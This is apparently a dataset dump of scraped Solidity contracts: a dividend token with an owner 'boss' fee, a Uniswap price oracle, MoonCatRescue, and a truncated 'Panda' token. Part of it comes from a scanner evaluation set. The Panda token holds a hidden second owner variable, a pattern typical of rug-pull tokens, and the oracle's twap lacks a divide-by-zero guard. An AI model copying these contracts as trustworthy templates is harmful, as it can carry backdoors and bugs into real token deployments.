uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalFee_), 100);
uint256 forBoss = SafeMath.div(SafeMath.mul(_undividedDividends, ownerFee1), 100);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
require(_amountOfTokens > 0 && SafeMath.add(_amountOfTokens, tokenSupply_) > tokenSupply_);
if (_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != _customerAddress &&
tokenBalanceLedger_[_referredBy] >= stakingRequirement) {
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
referralBalance_[boss] = SafeMath.add(referralBalance_[boss], _referralBonus);
}
referralBalance_[boss] = SafeMath.add(referralBalance_[boss], forBoss);
if (tokenSupply_ > 0) {
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / tokenSupply_);
_fee = _fee - (_fee - (_amountOfTokens * (_dividends * magnitude / tokenSupply_)));
} else {
tokenSupply_ = _amountOfTokens;
}
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
emit onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy, now, buyPrice());
return _amountOfTokens;
}
function ethereumToTokens_(uint256 _ethereum) internal view returns (uint256) {
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
((SafeMath.sub((sqrt
((_tokenPriceInitial ** 2)
+
(2 * (tokenPriceIncremental_ * 1e18) * (_ethereum * 1e18))
+
((tokenPriceIncremental_ ** 2) * (tokenSupply_ ** 2))
+
(2 * tokenPriceIncremental_ * _tokenPriceInitial*tokenSupply_))), _tokenPriceInitial)) / (tokenPriceIncremental_)) - (tokenSupply_);
return _tokensReceived;
}
function tokensToEthereum_(uint256 _tokens) internal view returns (uint256) {
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(SafeMath.sub((((tokenPriceInitial_ + (tokenPriceIncremental_ * (_tokenSupply / 1e18))) - tokenPriceIncremental_) * (tokens_ - 1e18)), (tokenPriceIncremental_ * ((tokens_ ** 2 - tokens_) / 1e18)) / 2)
/ 1e18);
return _etherReceived;
}
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
}
| 166,336 | 10,977 |
67fd664bee6f8d9729113939c263b5c9926f9da4381691221e354a2f68447fe8
| 25,150 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/66/667a515B76067516663A8d6edc363680ED72c952_Oracle.sol
| 4,736 | 16,798 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
library Babylonian {
function sqrt(uint256 y) internal pure returns (uint256 z) {
if (y > 3) {
z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
// else z = 0
}
}
library FixedPoint {
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
struct uq112x112 {
uint224 _x;
}
// range: [0, 2**144 - 1]
// resolution: 1 / 2**112
struct uq144x112 {
uint256 _x;
}
uint8 private constant RESOLUTION = 112;
uint256 private constant Q112 = uint256(1) << RESOLUTION;
uint256 private constant Q224 = Q112 << RESOLUTION;
// encode a uint112 as a UQ112x112
function encode(uint112 x) internal pure returns (uq112x112 memory) {
return uq112x112(uint224(x) << RESOLUTION);
}
// encodes a uint144 as a UQ144x112
function encode144(uint144 x) internal pure returns (uq144x112 memory) {
return uq144x112(uint256(x) << RESOLUTION);
}
// divide a UQ112x112 by a uint112, returning a UQ112x112
function div(uq112x112 memory self, uint112 x) internal pure returns (uq112x112 memory) {
require(x != 0, "FixedPoint: DIV_BY_ZERO");
return uq112x112(self._x / uint224(x));
}
// multiply a UQ112x112 by a uint, returning a UQ144x112
// reverts on overflow
function mul(uq112x112 memory self, uint256 y) internal pure returns (uq144x112 memory) {
uint256 z;
require(y == 0 || (z = uint256(self._x) * y) / y == uint256(self._x), "FixedPoint: MULTIPLICATION_OVERFLOW");
return uq144x112(z);
}
// returns a UQ112x112 which represents the ratio of the numerator to the denominator
// equivalent to encode(numerator).div(denominator)
function fraction(uint112 numerator, uint112 denominator) internal pure returns (uq112x112 memory) {
require(denominator > 0, "FixedPoint: DIV_BY_ZERO");
return uq112x112((uint224(numerator) << RESOLUTION) / denominator);
}
// decode a UQ112x112 into a uint112 by truncating after the radix point
function decode(uq112x112 memory self) internal pure returns (uint112) {
return uint112(self._x >> RESOLUTION);
}
// decode a UQ144x112 into a uint144 by truncating after the radix point
function decode144(uq144x112 memory self) internal pure returns (uint144) {
return uint144(self._x >> RESOLUTION);
}
// take the reciprocal of a UQ112x112
function reciprocal(uq112x112 memory self) internal pure returns (uq112x112 memory) {
require(self._x != 0, "FixedPoint: ZERO_RECIPROCAL");
return uq112x112(uint224(Q224 / self._x));
}
// square root of a UQ112x112
function sqrt(uq112x112 memory self) internal pure returns (uq112x112 memory) {
return uq112x112(uint224(Babylonian.sqrt(uint256(self._x)) << 56));
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Operator is Context, Ownable {
address private _operator;
event OperatorTransferred(address indexed previousOperator, address indexed newOperator);
constructor() internal {
_operator = _msgSender();
emit OperatorTransferred(address(0), _operator);
}
function operator() public view returns (address) {
return _operator;
}
modifier onlyOperator() {
require(_operator == msg.sender, "operator: caller is not the operator");
_;
}
function isOperator() public view returns (bool) {
return _msgSender() == _operator;
}
function transferOperator(address newOperator_) public onlyOwner {
_transferOperator(newOperator_);
}
function _transferOperator(address newOperator_) internal {
require(newOperator_ != address(0), "operator: zero address given for new operator");
emit OperatorTransferred(address(0), newOperator_);
_operator = newOperator_;
}
}
contract Epoch is Operator {
using SafeMath for uint256;
uint256 private period;
uint256 private startTime;
uint256 private lastEpochTime;
uint256 private epoch;
constructor(uint256 _period,
uint256 _startTime,
uint256 _startEpoch) public {
period = _period;
startTime = _startTime;
epoch = _startEpoch;
lastEpochTime = startTime.sub(period);
}
modifier checkStartTime {
require(now >= startTime, 'Epoch: not started yet');
_;
}
modifier checkEpoch {
uint256 _nextEpochPoint = nextEpochPoint();
if (now < _nextEpochPoint) {
require(msg.sender == operator(), 'Epoch: only operator allowed for pre-epoch');
_;
} else {
_;
for (;;) {
lastEpochTime = _nextEpochPoint;
++epoch;
_nextEpochPoint = nextEpochPoint();
if (now < _nextEpochPoint) break;
}
}
}
function getCurrentEpoch() public view returns (uint256) {
return epoch;
}
function getPeriod() public view returns (uint256) {
return period;
}
function getStartTime() public view returns (uint256) {
return startTime;
}
function getLastEpochTime() public view returns (uint256) {
return lastEpochTime;
}
function nextEpochPoint() public view returns (uint256) {
return lastEpochTime.add(period);
}
function setPeriod(uint256 _period) external onlyOperator {
require(_period >= 1 hours && _period <= 48 hours, '_period: out of range');
period = _period;
}
function setEpoch(uint256 _epoch) external onlyOperator {
epoch = _epoch;
}
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(address from,
address to,
uint256 value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s) external;
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Burn(address indexed sender, uint256 amount0, uint256 amount1, address indexed to);
event Swap(address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
function burn(address to) external returns (uint256 amount0, uint256 amount1);
function swap(uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// library with helper methods for oracles that are concerned with computing average prices
library UniswapV2OracleLibrary {
using FixedPoint for *;
function currentBlockTimestamp() internal view returns (uint32) {
return uint32(block.timestamp % 2**32);
}
// produces the cumulative price using counterfactuals to save gas and avoid a call to sync.
function currentCumulativePrices(address pair)
internal
view
returns (uint256 price0Cumulative,
uint256 price1Cumulative,
uint32 blockTimestamp)
{
blockTimestamp = currentBlockTimestamp();
price0Cumulative = IUniswapV2Pair(pair).price0CumulativeLast();
price1Cumulative = IUniswapV2Pair(pair).price1CumulativeLast();
// if time has elapsed since the last update on the pair, mock the accumulated price values
(uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast) = IUniswapV2Pair(pair).getReserves();
if (blockTimestampLast != blockTimestamp) {
// subtraction overflow is desired
uint32 timeElapsed = blockTimestamp - blockTimestampLast;
// addition overflow is desired
// counterfactual
price0Cumulative += uint256(FixedPoint.fraction(reserve1, reserve0)._x) * timeElapsed;
// counterfactual
price1Cumulative += uint256(FixedPoint.fraction(reserve0, reserve1)._x) * timeElapsed;
}
}
}
// fixed window oracle that recomputes the average price for the entire period once every period
contract Oracle is Epoch {
using FixedPoint for *;
using SafeMath for uint256;
// uniswap
address public token0;
address public token1;
IUniswapV2Pair public pair;
// oracle
uint32 public blockTimestampLast;
uint256 public price0CumulativeLast;
uint256 public price1CumulativeLast;
FixedPoint.uq112x112 public price0Average;
FixedPoint.uq112x112 public price1Average;
constructor(IUniswapV2Pair _pair,
uint256 _period,
uint256 _startTime) public Epoch(_period, _startTime, 0) {
pair = _pair;
token0 = pair.token0();
token1 = pair.token1();
price0CumulativeLast = pair.price0CumulativeLast(); // fetch the current accumulated price value (1 / 0)
price1CumulativeLast = pair.price1CumulativeLast(); // fetch the current accumulated price value (0 / 1)
uint112 reserve0;
uint112 reserve1;
(reserve0, reserve1, blockTimestampLast) = pair.getReserves();
require(reserve0 != 0 && reserve1 != 0, "Oracle: NO_RESERVES"); // ensure that there's liquidity in the pair
}
function update() external checkEpoch {
(uint256 price0Cumulative, uint256 price1Cumulative, uint32 blockTimestamp) = UniswapV2OracleLibrary.currentCumulativePrices(address(pair));
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
if (timeElapsed == 0) {
// prevent divided by zero
return;
}
// overflow is desired, casting never truncates
price0Average = FixedPoint.uq112x112(uint224((price0Cumulative - price0CumulativeLast) / timeElapsed));
price1Average = FixedPoint.uq112x112(uint224((price1Cumulative - price1CumulativeLast) / timeElapsed));
price0CumulativeLast = price0Cumulative;
price1CumulativeLast = price1Cumulative;
blockTimestampLast = blockTimestamp;
emit Updated(price0Cumulative, price1Cumulative);
}
// note this will always return 0 before update has been called successfully for the first time.
function consult(address _token, uint256 _amountIn) external view returns (uint144 amountOut) {
if (_token == token0) {
amountOut = price0Average.mul(_amountIn).decode144();
} else {
require(_token == token1, "Oracle: INVALID_TOKEN");
amountOut = price1Average.mul(_amountIn).decode144();
}
}
function twap(address _token, uint256 _amountIn) external view returns (uint144 _amountOut) {
(uint256 price0Cumulative, uint256 price1Cumulative, uint32 blockTimestamp) = UniswapV2OracleLibrary.currentCumulativePrices(address(pair));
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
if (_token == token0) {
_amountOut = FixedPoint.uq112x112(uint224((price0Cumulative - price0CumulativeLast) / timeElapsed)).mul(_amountIn).decode144();
} else if (_token == token1) {
_amountOut = FixedPoint.uq112x112(uint224((price1Cumulative - price1CumulativeLast) / timeElapsed)).mul(_amountIn).decode144();
}
}
event Updated(uint256 price0CumulativeLast, uint256 price1CumulativeLast);
}
| 78,398 | 10,978 |
5ddcabd58569d11949024963ee6735556f53fd0977d3271ea0616b62cae3feab
| 11,900 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x60cd862c9c687a9de49aecdc3a99b74a4fc54ab6.sol
| 3,101 | 10,653 |
pragma solidity ^0.4.13;
contract MoonCatRescue {
enum Modes { Inactive, Disabled, Test, Live }
Modes public mode = Modes.Inactive;
address owner;
bytes16 public imageGenerationCodeMD5 = 0xdbad5c08ec98bec48490e3c196eec683; // use this to verify mooncatparser.js the cat image data generation javascript file.
string public name = "MoonCats";
string public symbol = "?"; // unicode cat symbol
uint8 public decimals = 0;
uint256 public totalSupply = 25600;
uint16 public remainingCats = 25600 - 256; // there will only ever be 25,000 cats
uint16 public remainingGenesisCats = 256; // there can only be a maximum of 256 genesis cats
uint16 public rescueIndex = 0;
bytes5[25600] public rescueOrder;
bytes32 public searchSeed = 0x0;
struct AdoptionOffer {
bool exists;
bytes5 catId;
address seller;
uint price;
address onlyOfferTo;
}
struct AdoptionRequest{
bool exists;
bytes5 catId;
address requester;
uint price;
}
mapping (bytes5 => AdoptionOffer) public adoptionOffers;
mapping (bytes5 => AdoptionRequest) public adoptionRequests;
mapping (bytes5 => bytes32) public catNames;
mapping (bytes5 => address) public catOwners;
mapping (address => uint256) public balanceOf; //number of cats owned by a given address
mapping (address => uint) public pendingWithdrawals;
event CatRescued(address indexed to, bytes5 indexed catId);
event CatNamed(bytes5 indexed catId, bytes32 catName);
event Transfer(address indexed from, address indexed to, uint256 value);
event CatAdopted(bytes5 indexed catId, uint price, address indexed from, address indexed to);
event AdoptionOffered(bytes5 indexed catId, uint price, address indexed toAddress);
event AdoptionOfferCancelled(bytes5 indexed catId);
event AdoptionRequested(bytes5 indexed catId, uint price, address indexed from);
event AdoptionRequestCancelled(bytes5 indexed catId);
event GenesisCatsAdded(bytes5[16] catIds);
function MoonCatRescue() payable {
owner = msg.sender;
assert((remainingCats + remainingGenesisCats) == totalSupply);
assert(rescueOrder.length == totalSupply);
assert(rescueIndex == 0);
}
function rescueCat(bytes32 seed) activeMode returns (bytes5) {
require(remainingCats > 0); // cannot register any cats once supply limit is reached
bytes32 catIdHash = keccak256(seed, searchSeed); // generate the prospective catIdHash
require(catIdHash[0] | catIdHash[1] | catIdHash[2] == 0x0); // ensures the validity of the catIdHash
bytes5 catId = bytes5((catIdHash & 0xffffffff) << 216); // one byte to indicate genesis, and the last 4 bytes of the catIdHash
require(catOwners[catId] == 0x0); // if the cat is already registered, throw an error. All cats are unique.
rescueOrder[rescueIndex] = catId;
rescueIndex++;
catOwners[catId] = msg.sender;
balanceOf[msg.sender]++;
remainingCats--;
CatRescued(msg.sender, catId);
return catId;
}
function nameCat(bytes5 catId, bytes32 catName) onlyCatOwner(catId) {
require(catNames[catId] == 0x0); // ensure the current name is empty; cats can only be named once
require(!adoptionOffers[catId].exists); // cats cannot be named while they are up for adoption
catNames[catId] = catName;
CatNamed(catId, catName);
}
function makeAdoptionOffer(bytes5 catId, uint price) onlyCatOwner(catId) {
require(price > 0);
adoptionOffers[catId] = AdoptionOffer(true, catId, msg.sender, price, 0x0);
AdoptionOffered(catId, price, 0x0);
}
function makeAdoptionOfferToAddress(bytes5 catId, uint price, address to) onlyCatOwner(catId) isNotSender(to){
adoptionOffers[catId] = AdoptionOffer(true, catId, msg.sender, price, to);
AdoptionOffered(catId, price, to);
}
function cancelAdoptionOffer(bytes5 catId) onlyCatOwner(catId) {
adoptionOffers[catId] = AdoptionOffer(false, catId, 0x0, 0, 0x0);
AdoptionOfferCancelled(catId);
}
function acceptAdoptionOffer(bytes5 catId) payable {
AdoptionOffer storage offer = adoptionOffers[catId];
require(offer.exists);
require(offer.onlyOfferTo == 0x0 || offer.onlyOfferTo == msg.sender);
require(msg.value >= offer.price);
if(msg.value > offer.price) {
pendingWithdrawals[msg.sender] += (msg.value - offer.price); // if the submitted amount exceeds the price allow the buyer to withdraw the difference
}
transferCat(catId, catOwners[catId], msg.sender, offer.price);
}
function giveCat(bytes5 catId, address to) onlyCatOwner(catId) {
transferCat(catId, msg.sender, to, 0);
}
function makeAdoptionRequest(bytes5 catId) payable isNotSender(catOwners[catId]) {
require(catOwners[catId] != 0x0); // the cat must be owned
AdoptionRequest storage existingRequest = adoptionRequests[catId];
require(msg.value > 0);
require(msg.value > existingRequest.price);
if(existingRequest.price > 0) {
pendingWithdrawals[existingRequest.requester] += existingRequest.price;
}
adoptionRequests[catId] = AdoptionRequest(true, catId, msg.sender, msg.value);
AdoptionRequested(catId, msg.value, msg.sender);
}
function acceptAdoptionRequest(bytes5 catId) onlyCatOwner(catId) {
AdoptionRequest storage existingRequest = adoptionRequests[catId];
require(existingRequest.exists);
address existingRequester = existingRequest.requester;
uint existingPrice = existingRequest.price;
adoptionRequests[catId] = AdoptionRequest(false, catId, 0x0, 0);
transferCat(catId, msg.sender, existingRequester, existingPrice);
}
function cancelAdoptionRequest(bytes5 catId) {
AdoptionRequest storage existingRequest = adoptionRequests[catId];
require(existingRequest.exists);
require(existingRequest.requester == msg.sender);
uint price = existingRequest.price;
adoptionRequests[catId] = AdoptionRequest(false, catId, 0x0, 0);
msg.sender.transfer(price);
AdoptionRequestCancelled(catId);
}
function withdraw() {
uint amount = pendingWithdrawals[msg.sender];
pendingWithdrawals[msg.sender] = 0;
msg.sender.transfer(amount);
}
function disableBeforeActivation() onlyOwner inactiveMode {
mode = Modes.Disabled; // once the contract is disabled it's mode cannot be changed
}
function activate() onlyOwner inactiveMode {
searchSeed = block.blockhash(block.number - 1); // once the searchSeed is set it cannot be changed;
mode = Modes.Live; // once the contract is activated it's mode cannot be changed
}
function activateInTestMode() onlyOwner inactiveMode { //
searchSeed = 0x5713bdf5d1c3398a8f12f881f0f03b5025b6f9c17a97441a694d5752beb92a3d; // once the searchSeed is set it cannot be changed;
mode = Modes.Test; // once the contract is activated it's mode cannot be changed
}
function addGenesisCatGroup() onlyOwner activeMode {
require(remainingGenesisCats > 0);
bytes5[16] memory newCatIds;
uint256 price = (17 - (remainingGenesisCats / 16)) * 300000000000000000;
for(uint8 i = 0; i < 16; i++) {
uint16 genesisCatIndex = 256 - remainingGenesisCats;
bytes5 genesisCatId = (bytes5(genesisCatIndex) << 24) | 0xff00000ca7;
newCatIds[i] = genesisCatId;
rescueOrder[rescueIndex] = genesisCatId;
rescueIndex++;
balanceOf[0x0]++;
remainingGenesisCats--;
adoptionOffers[genesisCatId] = AdoptionOffer(true, genesisCatId, owner, price, 0x0);
}
GenesisCatsAdded(newCatIds);
}
function getCatIds() constant returns (bytes5[]) {
bytes5[] memory catIds = new bytes5[](rescueIndex);
for (uint i = 0; i < rescueIndex; i++) {
catIds[i] = rescueOrder[i];
}
return catIds;
}
function getCatNames() constant returns (bytes32[]) {
bytes32[] memory names = new bytes32[](rescueIndex);
for (uint i = 0; i < rescueIndex; i++) {
names[i] = catNames[rescueOrder[i]];
}
return names;
}
function getCatOwners() constant returns (address[]) {
address[] memory owners = new address[](rescueIndex);
for (uint i = 0; i < rescueIndex; i++) {
owners[i] = catOwners[rescueOrder[i]];
}
return owners;
}
function getCatOfferPrices() constant returns (uint[]) {
uint[] memory catOffers = new uint[](rescueIndex);
for (uint i = 0; i < rescueIndex; i++) {
bytes5 catId = rescueOrder[i];
if(adoptionOffers[catId].exists && adoptionOffers[catId].onlyOfferTo == 0x0) {
catOffers[i] = adoptionOffers[catId].price;
}
}
return catOffers;
}
function getCatRequestPrices() constant returns (uint[]) {
uint[] memory catRequests = new uint[](rescueIndex);
for (uint i = 0; i < rescueIndex; i++) {
bytes5 catId = rescueOrder[i];
catRequests[i] = adoptionRequests[catId].price;
}
return catRequests;
}
function getCatDetails(bytes5 catId) constant returns (bytes5 id,
address owner,
bytes32 name,
address onlyOfferTo,
uint offerPrice,
address requester,
uint requestPrice) {
return (catId,
catOwners[catId],
catNames[catId],
adoptionOffers[catId].onlyOfferTo,
adoptionOffers[catId].price,
adoptionRequests[catId].requester,
adoptionRequests[catId].price);
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier inactiveMode() {
require(mode == Modes.Inactive);
_;
}
modifier activeMode() {
require(mode == Modes.Live || mode == Modes.Test);
_;
}
modifier onlyCatOwner(bytes5 catId) {
require(catOwners[catId] == msg.sender);
_;
}
modifier isNotSender(address a) {
require(msg.sender != a);
_;
}
function transferCat(bytes5 catId, address from, address to, uint price) private {
catOwners[catId] = to;
balanceOf[from]--;
balanceOf[to]++;
adoptionOffers[catId] = AdoptionOffer(false, catId, 0x0, 0, 0x0); // cancel any existing adoption offer when cat is transferred
AdoptionRequest storage request = adoptionRequests[catId]; //if the recipient has a pending adoption request, cancel it
if(request.requester == to) {
pendingWithdrawals[to] += request.price;
adoptionRequests[catId] = AdoptionRequest(false, catId, 0x0, 0);
}
pendingWithdrawals[from] += price;
Transfer(from, to, 1);
CatAdopted(catId, price, from, to);
}
}
| 187,356 | 10,979 |
a7864b44f75c4fe74ffe7d9f7a49bd2360a9c4a6da1f4a413ec7044687fbaeba
| 13,068 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/b9/b9053af98af3db60d78aa1b0cadd97ebbd3aaaef_Panda.sol
| 3,116 | 11,860 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
interface ERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline)
external
returns (uint256 amountA,
uint256 amountB,
uint256 liquidity);
function addLiquidityETH(address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline)
external
payable
returns (uint256 amountToken,
uint256 amountETH,
uint256 liquidity);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline) external;
function swapExactETHForTokens(uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external payable returns (uint[] memory amounts);
}
abstract contract Ownable {
address internal _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = msg.sender;
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == msg.sender, "!owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "new is 0");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Panda is ERC20, Ownable {
string private _name = "Panda";
string private _symbol = "BAMBO";
uint8 constant _decimals = 18;
uint256 _totalSupply = 100000000 * 10**_decimals;
mapping(address => uint256) _balances;
mapping(address => mapping(address => uint256)) _allowances;
mapping(address => bool) isFeeExempt;
mapping(address => bool) isWalletLimitExempt;
uint256 public DevFeeBuy = 10;
uint256 public DevFeeSell = 10;
uint256 public TotalBase = DevFeeBuy + DevFeeSell;
address public autoLiquidityReceiver;
address public MarketingWallet;
address Owner;
IUniswapV2Router02 public router;
address public pair;
bool public isTradingAuthorized = false;
bool public swapEnabled = true;
uint256 public swapThreshold = (_totalSupply / 10000) * 3; // 0.3%
uint256 public _maxWalletSize = (_totalSupply * 30) / 1000; // 3%
uint256 public currentMaxTx = (_totalSupply * 20) / 1000; // 2%
modifier OnlyOwner() {
require(Owner == msg.sender, "!owner");
_;
}
uint256 totalPrinted;
bool inSwap;
modifier swapping() {
inSwap = true;
_;
inSwap = false;
}
constructor(address _MarketingWallet) Ownable(){
router = IUniswapV2Router02(0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506);
pair = IUniswapV2Factory(router.factory()).createPair(router.WETH(),
address(this));
_allowances[address(this)][address(router)] = type(uint256).max;
Owner = msg.sender;
MarketingWallet = _MarketingWallet;
isFeeExempt[msg.sender] = true;
isFeeExempt[address(this)] = true;
isFeeExempt[MarketingWallet] = true;
isWalletLimitExempt[msg.sender] = true;
isWalletLimitExempt[MarketingWallet] = true;
isWalletLimitExempt[address(this)] = true;
isWalletLimitExempt[pair] = true;
isWalletLimitExempt[0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506] = true;
autoLiquidityReceiver = msg.sender;
_balances[msg.sender] = _totalSupply * 100 / 100;
emit Transfer(address(0), msg.sender, _totalSupply * 100 / 100);
}
function totalSupply() external view override returns (uint256) { return _totalSupply; }
function decimals() external pure override returns (uint8) { return _decimals; }
function symbol() external view override returns (string memory) { return _symbol; }
function name() external view override returns (string memory) { return _name; }
function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
event AutoLiquify(uint256 amountETH, uint256 amountBOG);
receive() external payable { }
function approve(address spender, uint256 amount) public override returns (bool) {
